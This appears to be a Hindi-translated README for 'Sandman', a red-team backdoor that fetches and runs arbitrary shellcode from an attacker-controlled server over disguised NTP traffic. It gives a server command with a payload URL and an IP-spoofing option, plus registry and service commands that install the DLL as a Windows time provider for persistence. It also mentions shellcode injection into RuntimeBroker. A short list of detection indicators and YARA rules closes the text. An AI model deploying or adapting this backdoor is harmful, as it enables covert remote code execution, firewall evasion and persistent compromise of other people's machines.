
सख्त नेटवर्कों के लिए NTP-आधारित बैकडोर, जो नकली NTP ट्रैफिक के माध्यम से मनमाना shellcode वितरित और निष्पादित करता है, तथा Windows समय प्रदाता के रूप में वैकल्पिक स्थायित्व के साथ।
सैंडमैन एक बैकडोर है जिसे रेड टीम अभियानों के दौरान कठोर नेटवर्क पर काम करने के लिए डिज़ाइन किया गया है।
सैंडमैन एक स्टेजर के रूप में काम करता है और पूर्व-निर्धारित सर्वर से एक मनमाना शेलकोड प्राप्त करने और चलाने के लिए NTP (समय और तारीख को सिंक करने का एक प्रोटोकॉल) का लाभ उठाता है।
चूँकि NTP एक ऐसा प्रोटोकॉल है जिसे कई डिफेंडर नजरअंदाज कर देते हैं, जिसके परिणामस्वरूप नेटवर्क की व्यापक पहुँच होती है।

Windows / *nix मशीन पर चलाएँ:
python3 sandman_server.py "Network Adapter" "Payload Url" "optional: ip to spoof"
नेटवर्क एडेप्टर: वह एडेप्टर जिस पर आप सर्वर को सुनना चाहते हैं (उदाहरण के लिए Windows के लिए Ethernet, *nix के लिए eth0)।
पेलोड Url: आपके शेलकोड का URL, यह आपका एजेंट (उदाहरण के लिए, CobaltStrike या meterpreter) या कोई अन्य स्टेजर हो सकता है।
IP to Spoof: यदि आप किसी वैध IP पते (उदाहरण के लिए, time.microsoft.com का IP पता) को स्पूफ करना चाहते हैं।
शुरू करने के लिए, आप सैंडमैनबैकडोर को नीचे बताए अनुसार कंपाइल कर सकते हैं, क्योंकि यह एक हल्का C# एक्जीक्यूटेबल है, आप इसे ExecuteAssembly के माध्यम से निष्पादित कर सकते हैं, इसे NTP प्रदाता के रूप में चला सकते हैं या बस इसे निष्पादित/इंजेक्ट कर सकते हैं।
इसका उपयोग करने के लिए, आपको सरल चरणों का पालन करना होगा:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient" /v DllName /t REG_SZ /d "C:\Path\To\TheDll.dll"
sc stop w32time
sc start w32time
नोट: सुनिश्चित करें कि आप x64 विकल्प के साथ कंपाइल कर रहे हैं, न कि किसी CPU विकल्प के साथ!
हमलावर के नियंत्रित सर्वर से एक मनमाना पेलोड प्राप्त करना और निष्पादित करना।
कठोर नेटवर्क पर काम कर सकता है क्योंकि NTP आमतौर पर FW में अनुमत होता है।
IP स्पूफिंग के माध्यम से एक वैध NTP सर्वर का प्रतिरूपण करना।
Python 3.9
आवश्यकताएँ requirements फ़ाइल में निर्दिष्ट हैं।
बैकडोर को कंपाइल करने के लिए मैंने Visual Studio 2022 का उपयोग किया, लेकिन जैसा कि उपयोग अनुभाग में बताया गया है, इसे VS2022 और CSC दोनों के साथ कंपाइल किया जा सकता है। आप इसे या तो USE_SHELLCODE का उपयोग करके और Orca के शेलकोड का उपयोग करके या WebClient का उपयोग करने के लिए USE_SHELLCODE के बिना कंपाइल कर सकते हैं।
बैकडोर को कंपाइल करने के लिए मैंने Visual Studio 2022 का उपयोग किया, आपको इसे कंपाइल करने के लिए DllExport (Nuget या किसी अन्य तरीके से) भी इंस्टॉल करना होगा। आप इसे या तो USE_SHELLCODE का उपयोग करके और Orca के शेलकोड का उपयोग करके या WebClient का उपयोग करने के लिए USE_SHELLCODE के बिना कंपाइल कर सकते हैं।
RuntimeBroker में एक शेलकोड इंजेक्ट किया जाता है।
एक ज्ञात मैजिक हेडर के साथ संदिग्ध NTP संचार शुरू होता है।
YARA नियम।
Orca शेलकोड के लिए।
टाइम प्रोवाइडर विचार के लिए Tim McGuffin को विशेष धन्यवाद।
पहले से योगदान देने वालों को धन्यवाद और मैं खुशी-खुशी योगदान स्वीकार करूंगा, एक पुल रिक्वेस्ट बनाएं और मैं इसकी समीक्षा करूंगा!